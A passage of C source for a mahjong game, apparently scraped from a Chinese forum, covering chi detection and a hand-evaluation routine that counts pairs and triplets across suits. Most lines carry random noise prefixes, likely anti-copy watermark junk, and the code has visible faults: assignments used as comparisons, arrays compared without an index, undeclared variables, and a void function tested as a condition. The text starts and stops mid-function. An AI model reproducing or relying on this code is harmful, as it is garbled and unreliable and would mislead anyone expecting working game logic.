3 V% d8 q" [2 `' v; Ycomputer.pp.g=1;
b--;
1 z) |& c$ k) a5 {! ?1 Q7 e}
, Y1 v7 e) W' H: O; z0 I- [}
f=0;
7 Q1 Z1 e" T5 D, V$ u8 ?- pwhile(f&lt;computer.m) /*吃的判断*/
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
{
# q% R# }3 f! X( o0 x/ Kif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
, S0 c0 _0 [# _if(ch[f].lgg-logoo==1)
1 R: y& r% [3 F/ @; K1 L. W{
% j5 D* r  X' egp++;
computer.pp[f].c=1;
* H  Y8 V) L" V8 a! Ccomputer.pp[f+1].c=1;
}
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
if(ch[f+1].lgg-logoo==-1)
3 G  u/ k, Z7 k{
gp++;
computer.pp[f].c=1;
! M( j6 G& s6 b9 [( T+ T* h2 |: o8 Dcomputer.pp[f+1].c=1;
% k) D5 x! k, p' P6 t4 \3 e' b4 R6 Z}
9 Z8 L+ Z4 O/ Q( j& W. O/ _if(ch[f].lgg-logoo==-1) /*中吃*/
+ L9 r' }0 X; C2 r6 F1 {if(ch[f+1].lgg-logoo==1)
{
gp++;
computer.pp[f].c=1;
# z$ P- o4 N4 j2 _! Q3 s7 ~computer.pp[f+1].c=1;
}
% i6 b0 z5 {. Vif(gp==1)
break;
}
f++;
}
; G, A; H! m* q4 \; ]' Cif(gp==1)
  Y: d2 R% O3 ~6 R7 L8 V& E/ o{sing=7;
% x' X. s; r  ?: G
}
pg=0;
gp=0;
b=0;
# {$ Z- J* _! ]9 \}
. G; y+ J. ~; i% {) bvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
$ |3 M  V0 [* g7 y& M4 Q7 g: d2 v{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
# P+ ^: r- l9 D4 C4 }. nif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
{
logo=1;
1 K( @( p: z( }2 a  A  N& qif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
9 z; h" x  M) h4 T: {7 B% Mlogoo=1;
! f/ A6 ^% y: S0 F1 \) x/ ~4 R8 Helse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
logoo=2;
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
) j9 n) @& P1 d% k/ w! n! xlogoo=3;
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
2 ~2 p' v* f5 [) l* S6 Qlogoo=4;
# v$ E0 I! {% S) {9 H' v+ h9 Welse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
logoo=5;
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
logoo=6;
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
logoo=7;
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
logoo=8;
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
logoo=9;
5 [- g$ X/ ]+ q% \}
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
{
/ ~" z2 G% U. v" G8 a; ~( dlogo=2;
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
! h+ i+ M0 P& H  b. z& ~7 Klogoo=1;
- `4 \6 R) U2 L3 W* i" W6 U9 Delse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
% e% X, v. D( I$ `logoo=2;
4 i( N+ H  I1 \- \- G7 gelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
3 q) _: A8 Q& Q0 f; ?, Ilogoo=3;
# F1 {" ]) |7 |: delse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
2 P; y# m/ P/ mlogoo=4;
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
logoo=5;
" i9 ?; E: Y) J) |7 F2 Pelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
logoo=6;
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
' u# q' g/ {0 J$ U6 q' k- qlogoo=7;
5 N4 Z( U" ^8 d. s) D8 kelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
# a0 r/ H( x8 h! V- I9 blogoo=8;
+ G  L% I7 Z4 A$ M# B) h" ]else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
2 j! N1 ~) Z: Flogoo=9;
}
; y* @' k$ w: @7 Y) Uelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
{
+ q( y, x# ]0 ^% a2 E! Ologo=3;
- F1 S: R; Q$ L7 U7 Q6 E) U  Wif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
logoo=1;
* ^# N# e( }5 j4 f$ W5 E9 xelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
logoo=2;
/ z! n/ C7 L6 R0 \. Telse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
logoo=3;
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
0 N# A2 k( Z: F7 R5 Klogoo=4;
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
5 j( s5 a( D, \% K' C. ~& a. ^, [logoo=5;
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
$ b! R0 }( X( F3 m% c9 O) F& a- d6 Qlogoo=6;
( p' e2 j# D# Z2 M% [! aelse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
$ x/ t% G8 J2 D9 ~2 g' B) T0 f) Ylogoo=7;
- N. Z- w1 I' z+ jelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
logoo=8;
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
logoo=9;
}
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
( q5 S. p# R6 \5 v) U{
0 u$ L  v$ m$ a4 ~* glogo=4;
3 w6 l0 l9 O( s9 j$ J- kif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
; ]0 F4 ?0 Z4 E0 A$ \logoo=1;
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
) E+ T* s* |8 w9 Dlogoo=2;
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
logoo=3;
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
( P6 }. E! F8 T1 w2 p9 klogoo=4;
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
logoo=5;
/ V! E; p$ L; Jelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
logoo=6;
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
1 K: ~+ `2 Z+ E$ V2 D0 B* klogoo=7;
/ \1 Q3 ~3 p. x1 \8 s}
while(b&lt;=me.m)
' u2 \* d0 B" y{
& [5 E% W' N" F' w0 n( Zif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
{
lg=1;
me.pp.d[0]=1;
% ^) f- z- L6 Q% I9 }if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
{
" I# K2 W' j6 K( U! D4 T4 clgg=1;
" [) \" ~2 I, L! V" v6 J+ dme.pp.d[1]=1;
  V) R7 n9 }) {/ ?+ Y2 L}
, p) X% f2 c5 f, B- n7 Oelse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
4 h3 P6 C1 [- s; W( o% h% \{
lgg=2;
7 t" Y" u' _1 X# @4 L$ [me.pp.d[1]=2;
}
' }$ {; ^5 ~' U, E1 W9 B  Helse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
{
lgg=3;
1 ~3 w5 [6 q+ J; Nme.pp.d[1]=3;
, \3 m# r; u/ l: p0 r( V/ L9 v6 x}
& j/ c3 n3 @, [' Oelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
) c& a9 i' v* X{
' U/ @  L1 v* C0 [" h/ h( Elgg=4;
) T. g& \. y- |! B+ h5 Nme.pp.d[1]=4;
, K. B4 H, d9 m2 h}
* @4 L  D4 R( ?( Z# Q+ _! l/ n2 telse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
{
, \6 l% J4 f4 A3 s) f) I' E+ hlgg=5;
me.pp.d[1]=5;
9 a4 C# y2 e' Y, O- c}
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
* M7 c4 w5 N, y4 H$ {* {* f{
lgg=6;
! F* h  V1 `8 {. S+ I# [4 _: ]me.pp.d[1]=6;
1 m) q. d; W7 D  ?8 ]}
: E) d/ G1 c! e, p2 ~else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
& p  j6 I- G( Y9 Z/ f& h{
lgg=7;
& l- k: Q9 z( Eme.pp.d[1]=7;
}
0 z3 B3 N: g$ H' A) z% P* Nelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
{
lgg=8;
" R, W, i  h  bme.pp.d[1]=8;
}
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
$ r. q  _( ?+ a1 u5 \- q/ Y{
lgg=9;
me.pp.d[1]=9;
}
& x2 \: C" P9 ^* N5 v* b0 O}
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
{
: a" r, D0 ]- _0 X1 _6 Y! ilg=2;
6 ^$ Q; m7 h, f8 Kme.pp.d[0]=2;
2 D+ F9 i8 s6 ?( s, f) Kif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
: ?+ i, s8 `+ ^: ^{
. M/ y# h( z2 @lgg=1;
4 F# T: L- Y. _! d: Jme.pp.d[1]=1;
}
6 O3 A% n( A- `5 _2 K, jelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
{
lgg=2;
me.pp.d[1]=2;
}
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
) y' n- C9 K: t$ L+ L3 C3 p7 E{
) M0 E3 F' \. {8 t1 Flgg=3;
me.pp.d[1]=3;
* G- k. @" {1 I0 Z' C4 k}
/ K8 C. Q9 S' }" J' eelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
& x! e  E5 i4 S+ O{
$ |9 A* t" O$ Z% e9 U+ nlgg=4;
me.pp.d[1]=4;
}
; h" u% X0 m& h2 X3 @else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
" Y) u" f* i8 Y" T) X9 D& o: |{
) h0 A$ S: _) o' j: Elgg=5;
me.pp.d[1]=5;
% K2 s1 O' ^1 P4 t}
! c9 E, v, b( R8 p+ eelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
2 I- V5 _2 d$ y& e{
lgg=6;
me.pp.d[1]=6;
2 i( Z5 E% g1 a. a* o  @}
' B( w5 N& `0 j6 w9 F- D) L8 `# ?else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
{
lgg=7;
me.pp.d[1]=7;
  ]! f, C* w& Y* Q2 K}
+ i) Z- g8 \* |  |: v# xelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
. L. k2 U, l0 |$ v. p7 P{
/ `  S# _3 v) X( w: y/ V( algg=8;
; J0 m% x' \! Mme.pp.d[1]=8;
$ z6 S2 Q, t. G. _}
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
{
& i& X6 w7 U% b4 W9 C; plgg=9;
me.pp.d[1]=9;
1 J' D% A2 r8 q: M& S}
}
5 T7 f; J/ P8 S6 O; t+ G" ^9 a' {else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
4 t9 ?: m  o! O{
. O8 P) \/ A% S$ {" r2 Elg=3;
( J& v1 S; A3 y# ame.pp.d[0]=3;
- L& N5 ?" U: O$ r5 Vif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
{
' F' K1 _, {8 R5 ?8 }3 Blgg=1;
& F5 C# l2 F) X. F6 P9 P/ pme.pp.d[1]=1;
}
) Q/ H+ }+ T# K- C5 o& celse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
7 ]) [- _1 p/ P3 w8 L+ ?+ @{
lgg=2;
me.pp.d[1]=2;
}
( {+ L9 Q) q& Y' {' q' F, `else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
{
lgg=3;
% R7 n$ U6 `6 U/ N" u& l0 m, Y4 Mme.pp.d[1]=3;
6 a6 b0 V9 Q$ f# t1 `}
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
{
lgg=4;
me.pp.d[1]=4;
}
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
# G+ |$ ~+ I' }{
lgg=5;
me.pp.d[1]=5;
}
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
5 c1 ~' `7 W+ n6 g- `{
5 u! d4 b1 _  c2 z* q  Zlgg=6;
' |# ^) o( }7 T0 b  f# ?; u& jme.pp.d[1]=6;
}
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
{
% i+ M* ?8 T: q9 qlgg=7;
me.pp.d[1]=7;
8 ?% v  X0 t* c3 p6 S; E/ Z" N}
- K/ E) y$ q# @1 }* pelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
; b$ L4 @( u5 B$ ?3 y{
lgg=8;
: s" }) Q* [: F& C; e$ Xme.pp.d[1]=8;
}
0 n6 I" P4 u( J( E" V: selse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
{
& ^0 ]/ v- `# nlgg=9;
8 C1 P! L  g" f9 Z6 p; ume.pp.d[1]=9;
}
* v% O5 f* O/ I5 p$ Y) @* F. s}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
{
3 K2 {6 D* H3 g  u; T3 }( olg=4;
" c+ t( P" C# c8 }& Ame.pp.d[0]=4;
( j# P+ k- R9 M+ t* wif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
{
lgg=1;
7 }4 E  V8 `7 u# h3 d7 j$ sme.pp.d[1]=1;
}
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
{
lgg=2;
me.pp.d[1]=2;
}
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
{
, C. L9 d/ h. ylgg=3;
me.pp.d[1]=3;
}
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
{
lgg=4;
me.pp.d[1]=4;
}
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
{
lgg=5;
; y4 [& A5 {# G/ K; Lme.pp.d[1]=5;
, e6 ]/ F) O9 w) C& h3 b/ b}
0 @) \3 ]3 Z) x/ [0 [) _else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
6 ^3 _5 I' g$ U3 o" V- W{
1 c, _5 T. ]3 M+ ^. h& glgg=6;
' `# @8 s8 V  l% C* f, kme.pp.d[1]=6;
}
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
{
lgg=7;
$ i; h. B6 H  N: u3 A" U! L5 ome.pp.d[1]=7;
}
6 y; R# R4 E- O& Q; ]}
}
# @' V1 L0 j8 @5 ?}
. F# ~( X3 m# g( i; k( \void istwo(testt)
int testt[];
{ if(testt[0]==testt[1])
7 t( A4 a3 B6 asecond++;
}
void isthree(testt,n)
int testt[],n=0;
0 x4 f9 A  q! p7 V- T) d% R1 c{ int i,j,flage=0,lianx=0,same=0;
n=n/3;
# G  K0 C1 A6 v3 H0 Rfor(j=0;j&lt;n;j++)
& q) _8 i! c: G1 _, b* M6 ?4 D{
8 u: y" H+ K3 k& \' h& `' c) N! Jfor(i=j*3;i&lt;2+j*3;i++)
{
if(testt==testt[i+1])
" K" m8 @6 ^3 R0 ?same++;
0 k  l- k0 m! j' Z7 R( Q- xif(testt[i+1]-testt==1)
# K9 |4 S0 {0 Y/ _8 [2 qlianx++;
" y6 |5 p; Z7 v) @& i- e}
if(same==2)
threes++;
if(lianx==2)
threes++;
same=0;
lianx=0;
+ G( s# u4 B& O4 }/ A' C8 h* q}
}
( r2 h, J' F  y$ O- C- M8 I/ L5 _. Yvoid panduan() /*本程序的精髓*/
2 C" `8 @# u6 G: i& z) x{int data[14];
8 k) h& g  n. e9 |( p, H# Bint pw[14];
, ?1 \' Y  S" w8 m+ t$ b" aint pt[14];
int pi[14];
int pf[14];
& k) L7 }0 O, O5 @; |3 s0 xint test[12];
6 m' L" B0 c2 ?* J7 O1 `5 cint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
1 @8 o* N9 P( ~0 Dfor(jj=0;jj&lt;=me.m;jj++)
. v) H$ G% N( V/ ~/ {) I* p9 w- h5 T{
if(me.pp[jj].d[0]==1)
data[jj]=me.pp[jj].d[1];
, |0 k7 D) f& k4 |! S; D' P4 Fif(me.pp[jj].d[0]==2)
' g' W8 H2 k" Z9 L6 l) h/ }data[jj]=me.pp[jj].d[1]+10;
0 b. `8 O7 |* N, P2 lif(me.pp[jj].d[0]==3)
data[jj]=me.pp[jj].d[1]+20;
if(me.pp[jj].d[0]==4)
. e* e- J6 A# r( d+ cdata[jj]=me.pp[jj].d[1]+30;
' U1 E& A4 S( ]* F6 o+ R- d  X, f0 B}
if(logo==2)
w=logoo+10;
8 p4 B" O  M7 M; \+ z6 [- aif(logo==3)
w=logoo+20;
! X  x$ E. ?* ~1 b2 T' c. r8 |if(logo==4)
w=logoo+30;
data[computer.m+1]=w;
. d: c5 W& ~6 V  ofor(mm=0;mm&lt;=computer.m;mm++)
for(nn=mm;nn&lt;=computer.m;nn++)
if(data[mm]&gt;data[nn+1])
& D3 W) {1 t8 U  C# Y1 a) I4 Y( v{
tpp=data[mm];
1 [$ S- E9 u* k3 t5 a& Bdata[mm]=data[nn+1];
: J2 K5 I7 Q, B$ k9 xdata[nn+1]=tpp;
( ?, \& u% h' B5 d- o2 e0 h/ c}
lp=0;
while(lp&lt;=computer.m)
{ if(data[lp]&lt;10)
0 I1 h  C  c2 u4 b' v* q7 q. {- }pw[ww++]=data[lp];
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
2 n4 N% r  P/ e" d" Xpt[tt++]=data[lp];
  T/ H; _  y* R/ e: ?, e$ [: ^if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
; z5 v) [, ~0 @3 ~pi[ii++]=data[lp];
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
pf[ff++]=data[lp];
lp++;
}
' B8 k  c& |, Vif(ww==2)
istwo(pw);
else if(ww==3)
isthree(pw,ww);
else if(ww==5)
/*pw[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
2 G7 C& s2 y% d$ N+ M& T5 J  v; gfor(i=0;i&lt;4;i++)
{
& W+ c2 v# y) I8 p) u6 E, ?for(j=0;j&lt;2;j++)
- B6 L$ G- q4 T/ e* J5 M{test[j]=pw[i+j];
}
! X* F; |, Q! ]( {9 n1 `if(istwo(test))
{ ill=0;
! C$ w5 E. E0 \; G; Vfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
$ J0 q* y+ ~3 }" V4 V- E{if(kl==i)
{
5 k0 o% \3 ]; s. W- l- tkl=kl+2;
if(kl==5)
4 ]3 Z. [0 l% qbreak;
0 K9 E- D9 F* R1 N; [}
test[ill++]=pw[kl];
1 A* V' \8 P4 A+ ?; c( g}
1 @4 l( m6 C5 {8 B! [isthree(test);
  ]0 X$ }8 R2 W}
}
else if(ww==6)
+ B/ e& [( Y9 i9 q% Bisthree(pw,ww);
else if(ww==8)
  `) @8 p1 X% Z+ P/ Y; S$ e2 |for(i=0;i&lt;7;i++)
. |1 j. K3 X1 _' z  h1 s6 M, o7 H% ^{
' [4 E% T; ~4 q# q8 _! Qfor(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
}
! _; l& Y& n; e# c5 J$ o2 Aif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  |, h" Y+ Q  j, I, z, u$ ?+ y! f{if(kl==i)
% z, Y2 O7 R! K) ?% C- Y) w{
3 P* G" r% i. V8 @kl=kl+2;
2 d4 t3 ^$ ^$ u( e6 G2 h# F1 `$ Eif(kl==8)
. W8 c% w2 t! M4 Q* Dbreak;
( j& C2 ?0 ]$ |2 {}
test[ill++]=pw[kl];
}
isthree(test,ww-2);
5 e& ^) z% `0 z}
}
else if(ww==9)
isthree(pw,ww);
else if(ww==11)
+ X1 W6 ~9 j& R, b0 v2 sfor(i=0;i&lt;10;i++)
{
8 @; D4 K4 V, M, Cfor(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
5 a2 z5 A; F* V3 W. o}
if(istwo(test))
: S6 \8 m* G5 Q{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
" f$ @) l2 {. w, Y4 Bkl=kl+2;
if(kl==11)
; b* L. I- P) r+ n4 Gbreak;
}
test[ill++]=pw[kl];
}
isthree(test,ww-2);
! ~+ y  o1 {/ \! F* P4 g, ]}
}
else if(ww=12)
- L6 ]! z* u, b* Uisthree(pw,ww);
- c( W9 g9 ]8 V0 }  G5 l" Xelse if(ww=14)
for(i=0;i&lt;13;i++)
{
; D7 ^$ V6 a) Q4 s' E; bfor(j=0;j&lt;2;j++)
: I9 _( T. J9 D0 ?{test[j]=pw[i+j];
}
if(istwo(test))
6 O; O, k2 l% C' L9 S{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
0 c2 I0 j( P. v, n; h8 X% |0 Bkl=kl+2;
if(kl==14)
4 j) Y7 K8 F) G' _break;
}
test[ill++]=pw[kl];
}
1 K) c( Z' u3 t& l1 Z3 g5 risthree(test,ww-2);
7 O" @# T; \* Y}
}
if(tt==2)
istwo(pt);
else if(tt==3)
isthree(pt,tt);
else if(tt==5)
7 B2 B" K4 E+ `! d1 K$ v9 {3 C- e$ ?/*pt[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
+ V$ d6 b7 _: L' Z9 {for(i=0;i&lt;4;i++)
- \( a2 V+ J8 Q8 ^  F/ j/ t{
for(j=0;j&lt;2;j++)
; [' w8 Z, y! W% g{test[j]=pt[i+j];
/ @" h9 i/ g: J6 g/ ~: z- V}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
# L* x/ ]; {. F8 sif(kl==5)
( k+ |) O2 F, D; o/ }break;
}
test[ill++]=pt[kl];
3 i1 _0 j8 D9 w  K  }& a}
isthree(test);
& `) C: l. w; f}
; {  O- O- B. t. D}
else if(tt==6)
5 \% _3 r5 Z& disthree(pt,tt);
else if(tt==8)
for(i=0;i&lt;7;i++)
6 f+ T0 v5 }  _{
& v6 N, g9 k% n' \# \1 C2 tfor(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
9 a: D/ G, v) W# Eif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
8 w! O3 n" F1 E# T{
kl=kl+2;
if(kl==8)
break;
; l2 T9 [- y/ ], w: u/ u& \}
. ~3 z1 _" y0 g2 V  @7 _: @- p" ptest[ill++]=pt[kl];
}
) W% X4 p, I/ D, q- _: wisthree(test,tt-2);
: Y& q* R; K6 J0 a! ?  w}
}
, {( L9 J( }) B9 }else if(tt==9)
isthree(pt,tt);
; d+ l" u, H* Q5 |0 G4 L4 M; ^$ N) Kelse if(tt==11)
for(i=0;i&lt;10;i++)
# k/ P. P0 H$ i8 C& t! b, y{
0 i* Y& ?( u" `) tfor(j=0;j&lt;2;j++)
. v" M# X8 g4 e& I& ^# v  N{test[j]=pt[i+j];
2 e% u1 N* }  v% u}
if(istwo(test))
4 P% S6 S& }: i, \{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
( b/ \/ t1 z7 K# l; t) z{if(kl==i)
+ k5 i2 q2 x8 z{
2 J+ a# C* o5 akl=kl+2;
if(kl==11)
break;
}
test[ill++]=pt[kl];
, z/ E3 H- Q: w: o6 K+ H" R}
isthree(test,tt-2);
}
; E1 O6 w: r% B, P- L: Y}
* m  p; S4 U  Z1 Q1 `; X& eelse if(tt=12)
isthree(pt,tt);
, a, d1 G* J0 t& b  h) K! `2 i- ~else if(tt=14)
for(i=0;i&lt;13;i++)
$ E9 N5 W1 \' y/ c; m{
. }) H5 s; z7 A# o: c) L8 `* R: zfor(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
/ U: w" _8 O7 g! j! s{
kl=kl+2;
% }  J+ B) [7 \if(kl==14)
: Y2 {* b" m5 x& M; k, vbreak;
}
7 o5 `4 I5 j: R' f" atest[ill++]=pt[kl];
}
isthree(test,tt-2);
}
}
if(ii==2)
% y" U7 p' b- i, Z8 h) Distwo(pi);
" w+ y- l% w6 v' d9 ?else if(ii==3)
isthree(pi,ii);
5 Z2 {# E' n6 ?3 d' Pelse if(ii==5)
/*pi[5]原始牌数组，假设已经升序排列*/
$ j- d' f2 r) l/*test[3]用来放置测试牌的数组*/
! r- T! Z4 ~9 [; p4 s, Cfor(i=0;i&lt;4;i++)
{
) ?6 W& I0 O6 O0 P+ Yfor(j=0;j&lt;2;j++)
; w. y. B" E& T  ^/ J" d{test[j]=pi[i+j];
4 a9 O  F- o5 L$ Z, `}
if(istwo(test))
! k6 X" r9 T' G! x{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
  ^0 a2 ?* {9 h. q8 s{
kl=kl+2;
  p- J4 e$ o" T& [6 ~! E) @if(kl==5)
break;
" Q3 ~$ e4 m4 |+ [3 d3 @1 U}
' Z' ]: _9 ^% Btest[ill++]=pw[kl];
( J  L) r" s) @( \! D  H}
  _( ]; e- A- F$ @& ]0 @isthree(test);
}
' E6 F# j* H2 u) X2 [, l7 w}
" a. t8 v* e' m5 u' ~5 ]else if(ii==6)
isthree(pi,ii);
% w! A5 v4 ]' I! relse if(ii==8)
for(i=0;i&lt;7;i++)
{
, Y( E$ X) \' ~7 u0 Q1 X5 afor(j=0;j&lt;2;j++)
  R1 w) V/ O6 T4 g+ _: g{test[j]=pi[i+j];
: `+ _) u9 `! T9 T+ B1 v}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
* _: l- J  s; ^( a: A{
kl=kl+2;
if(kl==8)
4 E" N  e4 q$ u+ z7 G/ T# a3 g; ebreak;
  v9 q) V5 M5 Q}
test[ill++]=pi[kl];
1 Z/ G: p; f4 S1 `, {; v}
isthree(test,ii-2);
}
}
else if(ii==9)
- p+ W+ N1 D; [( m7 c' K% c! sisthree(pi,ii);
else if(ii==11)
: L0 ?2 M- i0 g( `( r) ~, jfor(i=0;i&lt;10;i++)
{
for(j=0;j&lt;2;j++)
0 E5 Q, D* [* G& T{test[j]=pi[i+j];
' f' v9 o8 y: h; x* M! j}
3 {8 Y' z. u+ V6 l, m; V% Wif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
2 S+ {6 a- q% A# d5 {kl=kl+2;
" N& m, k/ n2 p9 ~' Jif(kl==11)
break;
# i2 y( l# d0 B) g' j}
test[ill++]=pi[kl];
}
isthree(test,ii-2);
+ O: n8 H$ g9 ~# [5 l6 {6 l' i}
}
- V" V# e0 D$ i# ?! [9 G  Selse if(ii=12)
isthree(pi,ii);
else if(ii=14)
for(i=0;i&lt;13;i++)
! ~' s6 }' f" a0 ^% Q{
for(j=0;j&lt;2;j++)
2 l. a' G5 n* f{test[j]=pi[i+j];
}
if(istwo(test))
{ ill=0;
# w' c6 Y1 f( P8 `% Dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==14)
break;
! |0 K# B/ Z6 d# R}
5 }8 l! A- }$ Ftest[ill++]=pi[kl];
6 X& V4 e: X+ `4 k$ s$ c6 ?}
. o: ^1 Q. _: l$ X+ b& k) visthree(test,ii-2);
9 c. B3 N* Y! q( l* _0 a/ u}
7 w+ z7 m" u8 I. f! C& |. [, L}
if(ff==2)
- Z6 \, ~* l( H( vistwo(pf);
else if(ff==3)
; d7 }; _4 _4 v6 _; e: X! s  g7 d: cisthree(pf,ff);
